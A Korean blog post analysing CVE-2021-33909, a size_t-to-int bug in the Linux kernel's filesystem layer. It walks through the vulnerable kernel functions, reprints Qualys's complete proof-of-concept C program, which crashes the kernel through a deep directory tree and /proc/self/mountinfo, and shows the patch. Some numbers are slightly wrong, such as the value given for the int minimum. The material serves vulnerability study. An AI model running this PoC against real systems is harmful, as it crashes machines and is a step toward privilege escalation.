ii4gsp

[1-day Analysis] CVE-2021-33909 ( Type Conversion Vulnerability in Linux Kernel Filesystem Layer ) 본문

시스템 해킹/Kernel

[1-day Analysis] CVE-2021-33909 ( Type Conversion Vulnerability in Linux Kernel Filesystem Layer )

ii4gsp 2021. 8. 2. 23:00
Disclosure or Patch Date: July 20 2021
Product: Linux
Affected Versions: Before Linux Kernel 5.13.4
First Patched Version: Linux Kernel 5.13.4
Bug Class: Type Conversion & Integer Overflow & Out-of-bounds

7월 20일 Qualys 연구팀에서 리눅스 커널 파일 시스템 계층에서 발생하는 Type Conversion 취약점을 발견했다.

Type Conversion 취약점으로 인해 추가적으로 Integer Overflow, Out-of-bounds 가 가능하며 LPE 권한상승이 가능하다.

 

 

 

 

ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
	struct seq_file *m = iocb->ki_filp->private_data;
	size_t copied = 0;
	size_t n;
	void *p;
	int err = 0;
	...
	/* grab buffer if we didn't have one */
	if (!m->buf) {
		m->buf = seq_buf_alloc(m->size = PAGE_SIZE); <---------- (a)
		if (!m->buf)
			goto Enomem;
	}
	...
	// get a non-empty record in the buffer
	m->from = 0;
	p = m->op->start(m, &m->index);
	while (1) {
		err = PTR_ERR(p);
		if (!p || IS_ERR(p))	// EOF or an error
			break;
		err = m->op->show(m, p); <---------- (b)
		if (err < 0)		// hard error
			break;
		if (unlikely(err))	// ->show() says "skip it"
			m->count = 0;
		if (unlikely(!m->count)) { // empty record
			p = m->op->next(m, p, &m->index);
			continue;
		}
		if (!seq_has_overflowed(m)) // got it
			goto Fill;
		// need a bigger buffer
		m->op->stop(m, p);
		kvfree(m->buf);
		m->count = 0;
		m->buf = seq_buf_alloc(m->size <<= 1); <---------- (c)
		if (!m->buf)
			goto Enomem;
		p = m->op->start(m, &m->index);
	}

/fs/seq_file.c

a를 보면 m->buf에 seq_buf_alloc() 함수를 호출하여 m->size 만큼 힙을 할당한다.

static void *seq_buf_alloc(unsigned long size)
{
	return kvmalloc(size, GFP_KERNEL_ACCOUNT);
}

seq_buf_alloc() 함수는 내부적으로 kvmalloc() 함수를 호출한다.

c를 보면 m->buf에 seq_buf_alloc() 함수를 호출하는데 m->size를 << 시프트 연산자를 사용하여 필요한 경우 사이즈를 두 배로 확장하여 할당한다.

해당 취약점은 사실상 b에서 발생한다.

m->op->show()를 호출하면 show_mountinfo() 함수가 호출된다.

 

 

 

 

static int show_mountinfo(struct seq_file *m, struct vfsmount *mnt)
{
	struct proc_mounts *p = m->private;
	struct mount *r = real_mount(mnt);
	struct super_block *sb = mnt->mnt_sb;
	struct path mnt_path = { .dentry = mnt->mnt_root, .mnt = mnt };
	int err;
	seq_printf(m, "%i %i %u:%u ", r->mnt_id, r->mnt_parent->mnt_id,
		   MAJOR(sb->s_dev), MINOR(sb->s_dev));
	if (sb->s_op->show_path) {
		err = sb->s_op->show_path(m, mnt->mnt_root);
		if (err)
			goto out;
	} else {
		seq_dentry(m, mnt->mnt_root, " \t\n\\"); // here
	}
	seq_putc(m, ' ');
	/* mountpoints outside of chroot jail will give SEQ_SKIP on this */
	err = seq_path_root(m, &mnt_path, &p->root, " \t\n\\");
	if (err)
		goto out;
        ...

/fs/proc_namespace.c

해당 함수에서는 seq_dentry() 함수를 호출한다.

 

 

 

 

int seq_dentry(struct seq_file *m, struct dentry *dentry, const char *esc)
{
	char *buf;
	size_t size = seq_get_buf(m, &buf);
	int res = -1;
	if (size) {
		char *p = dentry_path(dentry, buf, size); // here
		if (!IS_ERR(p)) {
			char *end = mangle_path(buf, p, esc);
			if (end)
				res = end - buf;
		}
	}
	seq_commit(m, res);
	return res;
}

/fs/seq_file.c

해당 함수에서 size_t 자료형 size를 선언하고 있다.

dentry_path() 함수를 호출할 때 size_t 자료형 size를 전달하는데 전달 받는 인자는 size_t 자료형이 아닌 int 자료형으로 전달 받는다.

따라서 size_t-to-int로 인해 buflen은 int의 최소값 -2,147,483,684로 변한다.

 

 

 

 

char *dentry_path(struct dentry *dentry, char *buf, int buflen)
{
	char *p = NULL;
	char *retval;
	if (d_unlinked(dentry)) {
		p = buf + buflen; // here
		if (prepend(&p, &buflen, "//deleted", 10) != 0) // here
			goto Elong;
		buflen++;
	}
	retval = __dentry_path(dentry, buf, buflen);
	if (!IS_ERR(retval) && p)
		*p = '/';	/* restore '/' overriden with '\0' */
	return retval;
Elong:
	return ERR_PTR(-ENAMETOOLONG);
}

/fs/d_path.c

p는 buf + buflen 주소를 가르키는데 buflen은 -2,147,483,684 이므로 p는 buf 주소보다 -2,147,483,684 만큼 아래의 주소를 가리키게 된다.

때문에 Out-of-bounds 취약점이 발생하여 범위를 벗어난 메모리에 쓰기가 가능해진다.

그 후 prepend() 함수에 임의의 주소, 변조된 값을 넘겨준다.

 

 

 

 

static int prepend(char **buffer, int *buflen, const char *str, int namelen)
{
	*buflen -= namelen;
	if (*buflen < 0)
		return -ENAMETOOLONG;
	*buffer -= namelen;
	memcpy(*buffer, str, namelen);
	return 0;
}

/fs/d_path.c

prepend() 함수에서 buflen을 10만큼 감소시키고 buflen은 양수 2147483638이 된다.

그 후 10바이트 문자열 "//deleted"를 임의의 주소 buffer - 2,147,483,684 - 10의 주소에 쓰게된다.

 

 

 

 

/*
 * CVE-2021-33909: size_t-to-int vulnerability in Linux's filesystem layer
 * Copyright (C) 2021 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <sched.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <unistd.h>

#define PAGE_SIZE (4096)

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static void
send_recv_state(const int sock, const char * const sstate, const char rstate)
{
    if (sstate) {
        if (send(sock, sstate, 1, MSG_NOSIGNAL) != 1) die();
    }
    if (rstate) {
        char state = 0;
        if (read(sock, &state, 1) != 1) die();
        if (state != rstate) die();
    }
}

static const char * bigdir;
static char onedir[NAME_MAX + 1];

typedef struct {
    pid_t pid;
    int socks[2];
    size_t count;
    int delete;
} t_userns;

static int
userns_fn(void * const arg)
{
    if (!arg) die();
    const t_userns * const userns = arg;
    const int sock = userns->socks[1];
    if (close(userns->socks[0])) die();

    send_recv_state(sock, NULL, 'A');

    size_t n;
    if (chdir(bigdir)) die();
    for (n = 0; n <= userns->count / (1 + (sizeof(onedir)-1) * 4); n++) {
        if (chdir(onedir)) die();
    }
    char device[] = "./device.XXXXXX";
    if (!mkdtemp(device)) die();
    char mpoint[] = "/tmp/mpoint.XXXXXX";
    if (!mkdtemp(mpoint)) die();
    if (mount(device, mpoint, NULL, MS_BIND, NULL)) die();

    if (userns->delete) {
        if (rmdir(device)) die();
    }
    if (chdir("/")) die();

    send_recv_state(sock, "B", 'C');

    const int fd = open("/proc/self/mountinfo", O_RDONLY);
    if (fd <= -1) die();
    static char buf[1UL << 20];
    size_t len = 0;
    for (;;) {
        ssize_t nbr = read(fd, buf, 1024);
        if (nbr <= 0) die();
        for (;;) {
            const char * nl = memchr(buf, '\n', nbr);
            if (!nl) break;
            nl++;
            if (memmem(buf, nl - buf, "\\134", 4)) die();
            nbr -= nl - buf;
            memmove(buf, nl, nbr);
            len = 0;
        }
        len += nbr;
        if (memmem(buf, nbr, "\\134", 4)) break;
    }

    send_recv_state(sock, "D", 'E');
    die();
}

static void
update_id_map(char * const mapping, const char * const map_file)
{
    const size_t map_len = strlen(mapping);
    if (map_len >= SSIZE_MAX) die();
    if (map_len <= 0) die();

    size_t i;
    for (i = 0; i < map_len; i++) {
        if (mapping[i] == ',')
            mapping[i] = '\n';
    }

    const int fd = open(map_file, O_WRONLY);
    if (fd <= -1) die();
    if (write(fd, mapping, map_len) != (ssize_t)map_len) die();
    if (close(fd)) die();
}

static void
proc_setgroups_write(const pid_t child_pid, const char * const str)
{
    const size_t str_len = strlen(str);
    if (str_len >= SSIZE_MAX) die();
    if (str_len <= 0) die();

    char setgroups_path[64];
    snprintf(setgroups_path, sizeof(setgroups_path), "/proc/%ld/setgroups", (long)child_pid);

    const int fd = open(setgroups_path, O_WRONLY);
    if (fd <= -1) {
        if (fd != -1) die();
        if (errno != ENOENT) die();
        return;
    }
    if (write(fd, str, str_len) != (ssize_t)str_len) die();
    if (close(fd)) die();
}

static void
fork_userns(t_userns * const userns, const size_t size, const int delete)
{
    static const size_t stack_size = (1UL << 20) + 2 * PAGE_SIZE;
    static char * stack = NULL;
    if (!stack) {
        stack = mmap(NULL, stack_size, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);
        if (!stack || stack == MAP_FAILED) die();
        if (mprotect(stack + PAGE_SIZE, stack_size - 2 * PAGE_SIZE, PROT_READ | PROT_WRITE)) die();
    }

    if (!userns) die();
    userns->count = size / 2;
    userns->delete = delete;

    if (socketpair(AF_UNIX, SOCK_STREAM, 0, userns->socks)) die();
    userns->pid = clone(userns_fn, stack + stack_size - PAGE_SIZE, CLONE_NEWUSER | CLONE_NEWNS | SIGCHLD, userns);
    if (userns->pid <= -1) die();
    if (close(userns->socks[1])) die();
    userns->socks[1] = -1;

    char map_path[64], map_buf[64];
    snprintf(map_path, sizeof(map_path), "/proc/%ld/uid_map", (long)userns->pid);
    snprintf(map_buf, sizeof(map_buf), "0 %ld 1", (long)getuid());
    update_id_map(map_buf, map_path);

    proc_setgroups_write(userns->pid, "deny");
    snprintf(map_path, sizeof(map_path), "/proc/%ld/gid_map", (long)userns->pid);
    snprintf(map_buf, sizeof(map_buf), "0 %ld 1", (long)getgid());
    update_id_map(map_buf, map_path);

    send_recv_state(*userns->socks, "A", 'B');
}

static void
wait_userns(t_userns * const userns)
{
    if (!userns) die();
    if (kill(userns->pid, SIGKILL)) die();

    int status = 0;
    if (waitpid(userns->pid, &status, 0) != userns->pid) die();
    userns->pid = -1;
    if (!WIFSIGNALED(status)) die();
    if (WTERMSIG(status) != SIGKILL) die();

    if (close(*userns->socks)) die();
    *userns->socks = -1;
}

int
main(const int argc, const char * const argv[])
{
    if (argc != 2) die();
    bigdir = argv[1];
    if (*bigdir != '/') die();

    if (sizeof(onedir) != 256) die();
    memset(onedir, '\\', sizeof(onedir)-1);
    if (onedir[sizeof(onedir)-1] != '\0') die();

    puts("creating directories, please wait...");
    if (mkdir(bigdir, S_IRWXU) && errno != EEXIST) die();
    if (chdir(bigdir)) die();
    size_t i;
    for (i = 0; i <= (1UL << 30) / (1 + (sizeof(onedir)-1) * 4); i++) {
        if (mkdir(onedir, S_IRWXU) && errno != EEXIST) die();
        if (chdir(onedir)) die();
    }
    if (chdir("/")) die();

    static t_userns userns;
    fork_userns(&userns, (1UL << 31), 1);
    puts("crashing...");
    send_recv_state(*userns.socks, "C", 'D');
    wait_userns(&userns);
    die();
}

해당 취약점은 현재 익스플로잇은 공개되지 않고 POC만 공개 된 상태이다.

POC 코드는 시스템 충돌을 일으킨다.

POC의 핵심은 총 경로가 1GB를 초과하는 디렉토리 구조를 생성, 마운트 및 삭제하고 /proc/self/mountinfo 를 open() 및 read() 하면 다음과 같은 순서로 동작한다.

 

1. seq_read_iter()에서 seq_buf_alloc() 함수를 호출하여 buf에 2GB(2,147,483,648) 만큼 할당한다. 2GB인 이유는 int의 최대 범위가2,147,483,648 ~ 2,147,483,647 이기때문이다.

2. show_mountinfo() 함수에서 seq_dentry()를 호출할 때 비어있는 2GB buf와 size_t 자료형인 size를 전달한다.

3. dentry_path() 함수에서 size_t-to-int가 발생하고 int buflen은 int 최소값 -2147483648가 된다. p는 seq_buf_alloc() 으로 할당했던 주소보다 -2147483648 아래의 주소를 가리키게 된다.

4. prepend() 함수에서 buflen을 10 감소하여 buflen이 양수 2147483638이 되고 buffer도 10바이트 감소한다. 결론적으론 buffer - 2147483648 - 10의 주소에 10바이트 문자열 "//deleted"를 쓰게된다.

 

 

 

 

diff --git a/fs/seq_file.c b/fs/seq_file.c
index b117b212ef288..4a2cda04d3e29 100644
--- a/fs/seq_file.c
+++ b/fs/seq_file.c
 
 static void *seq_buf_alloc(unsigned long size)
 {
+	if (unlikely(size > MAX_RW_COUNT))
+		return NULL;
+
 	return kvmalloc(size, GFP_KERNEL_ACCOUNT);
 }

취약점 패치는 위와 같다.

seq_buf_alloc() 함수에 size를 검증하여 Integer Overflow를 방지한다.  

Comments